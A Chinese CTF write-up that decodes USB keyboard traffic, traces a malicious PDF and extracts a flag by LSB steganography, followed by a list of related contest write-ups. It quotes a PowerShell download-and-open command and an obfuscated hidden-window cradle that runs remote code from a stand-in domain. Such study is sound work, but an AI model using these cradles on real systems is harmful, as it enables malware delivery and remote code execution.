shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":":","34":"\"","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
def main():
# read data
with open(DataFileName, "r") as f:
for line in f:
presses.append(line[0:-1])
# handle
result = ""
for press in presses:
if press == '':
continue
if ':' in press:
Bytes = press.split(":")
else:
Bytes = [press[i:i+2] for i in range(0, len(press), 2)]
if Bytes[0] == "00":
# print(bytes)
if normalKeys.get(Bytes[3]): # Bytes[2] != "00" and
result += normalKeys[Bytes[3]]
elif int(Bytes[0],16) & 0b10 or int(Bytes[0],16) & 0b100000: # shift key is pressed.
if normalKeys.get(Bytes[3]): # Bytes[2] != "00" and
result += shiftKeys[Bytes[3]]
else:
print("[-] Unknow Key : %s" % (Bytes[0]))
print("[+] Found : %s" % (result))
if __name__ == "__main__":
main()
得到
powershell(New-Object<SPACE>System.Net.WebClient).DownloadFile('https://github.com/jiayuqi7813/download/releases/download/f/mal.pdf',<SPACE>'C:\word.pdf')cmd<SPACE>/c<SPACE>start<SPACE>C:\word.pdf
然后我们下载这个 pdf,发现有病毒!

但发现附件里有一张图片和一个恶意脚本

%windir%\system32\cmd.exe /c pow^ers^He^l^l.exe -nO^p -w hid^den -c $I=new-object net.webclient;$key="f38aeb65a88f50a2";$I.proxy=[Net.Webrequest]::GetSystemWebProxy();$key=$key+"373643a82158c6dc";$I.Proxy.Credentials=[Net.CredentialsCache]::DefaultCredentials;IEX $.downloadstring('http://evil.hack/home');
这个域名没有解析,但是给了个 key f38aeb65a88f50a2373643a82158c6dc,猜测是图片某种隐写的密码
而图片的 LSB 里很明显有东西,但是直接提取得到的不是明文
于是猜测大概率是 cloacked-pixel
$ python lsb.py extract hacksun.png out f38aeb65a88f50a2373643a82158c6dc
[+] Image size: 1010x783 pixels.
[+] Written extracted data to out.
flag{327a6c4304ad5938eaf0efb6cc3e53dc}

2023第八届上海市大学生网络安全大赛-磐石行动(misc+crypto) WP的更多相关文章
- 2019年上海市大学生网络安全大赛两道misc WriteUp
2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛 做出了两道Misc== 签到 题干 解题过程 题干提示一直注册成功,如果注册失败也许会出现flag. 下载下来是包含010edito ...
- Writeup:第五届上海市大学生网络安全大赛-Web
目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...
- 第三届上海市大学生网络安全大赛wp&学习
wp 0x00 p200 先分析了程序关键的数据结构 分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf 脚本如下: 1.先 ...
- 2019 上海市大学生网络安全大赛 RE部分WP
这次比赛就做了这一道逆向题,看到队友的WP,下面的对v10的加密方式为RC4,从我提取的v4数组就能够察觉出这是CR4了,自己傻乎乎的用OD调试,跟踪数据半天才做出来,还是见得的少了... ...下面 ...
- 第三届上海市大学生网络安全大赛 流量分析 WriteUp
题目链接: https://pan.baidu.com/s/1Utfq8W-NS4AfI0xG-HqSbA 提取码: 9wqs 解题思路: 打开流量包后,按照协议进行分类,发现了存在以下几种协议类型: ...
- 宁波市第三届网络安全大赛-WriteUp(Misc)
友情链接 Web师傅:skyxmao师傅 内心OS 第一次参加这种大型比赛,实力较菜,请师傅们多多指点 Misc | 完成 | 第一 下载文件,看一下doc没有任何问题, 没有发现任何隐写,然后修改文 ...
- 第十一届GPCT杯大学生程序设计大赛完美闭幕
刚刚过去的周六(6月7号)是今年高考的第一天,同一时候也是GPCT杯大学生程序设计大赛颁奖的日子,以下我们用图文再回想一下本次大赛颁奖的过程. 评审过程的一些花絮<感谢各位评审这些天的付出!&g ...
- 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup
2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...
- 湖南生第八届大学生程序设计大赛原题 C-Updating a Dictionary(UVA12504 - Updating a Dictionary)
UVA12504 - Updating a Dictionary 给出两个字符串,以相同的格式表示原字典和更新后的字典.要求找出新字典和旧字典的不同,以规定的格式输出. 算法操作: (1)处理旧字典, ...
- 湖南省第八届大学生程序设计大赛原题 D - 平方根大搜索 UVA 12505 - Searching in sqrt(n)
http://acm.hust.edu.cn/vjudge/contest/view.action?cid=30746#problem/D D - 平方根大搜索 UVA12505 - Searchin ...
随机推荐
- pytest-xdist分布式测试原理浅析
pytest-xdist执行流程: 解析命令行参数:pytest-xdist 会解析命令行参数,获取用户指定的分发模式.进程数.主机列表等信息. 加载测试用例:pytest-xdist 会加载所有的 ...
- HDFS核心概念与架构
HDFS简介 HDFS是Hadoop项目的核心子项目,在大数据开发中通过分布式计算对海量数据进行存储与管理,它基于流数据模式访问和处理超大文件的需求而开发,可以运行在廉价的商用服务器上,为海量数据提供 ...
- Kali-Linux-配置开发环境
本文主要讲解JDK.SDK.eclipse-adt.android studio.cpu模式TensorFlow 的安装配置.update:2019-08-30 03:31:46 JDK 当前系统jd ...
- minio 支持object搜索方案
minio支持上传时对object打标签,查询时可以根据标签做筛选.但是有ftp上传文件的需求,导致无法给object打标签.并且也不清楚minio对于根据标签的筛选性能如何,因此我们打算将objec ...
- MySQL面试题——隔离级别相关面试题
隔离级别相关面试题 MySQL事务隔离级别 未提交读--可以读到其他事务未提交的数据(最新的版本) 错误现象:脏读.不可重复读.幻读的现象 提交读(RC)--可以读到其他事务已提交的数据(最新已提交的 ...
- iperf 工具使用总结
转载请注明出处: iperf是一个用于测量网络带宽的工具,可以通过客户端和服务器之间的数据传输来评估网络性能.下面详细介绍iperf的使用方法.常用命令和参数以及注意事项,并提供一些示例说明.在ipe ...
- Spring Cache + Caffeine实现本地缓存
Caffeine简介 Caffeine是一个高性能,高命中率,低内存占用,near optimal 的本地缓存,简单来说它是 Guava Cache 的优化加强版 依赖 <dependency& ...
- strimzi实战之二:部署和消息功能初体验
欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos 本篇概览 本篇是<strimzi实战>系列 ...
- ora2pg使用记录
ora2pg使用记录 前言 这篇文章是我在学习使用ora2pg过程中的学习记录,以便日后遗忘查阅: 诸君也可跟随我的步伐了解一下ora2pg,或可移步如下官方文档参考学习:Ora2Pg : Migra ...
- 洛谷题解 | AT_abc321_c Primes on Interval
目录 题目翻译 题目描述 输入格式 输出格式 样例 #1 样例输入 #1 样例输出 #1 样例 #2 样例输入 #2 样例输出 #2 样例 #3 样例输入 #3 样例输出 #3 题目简化 题目思路 A ...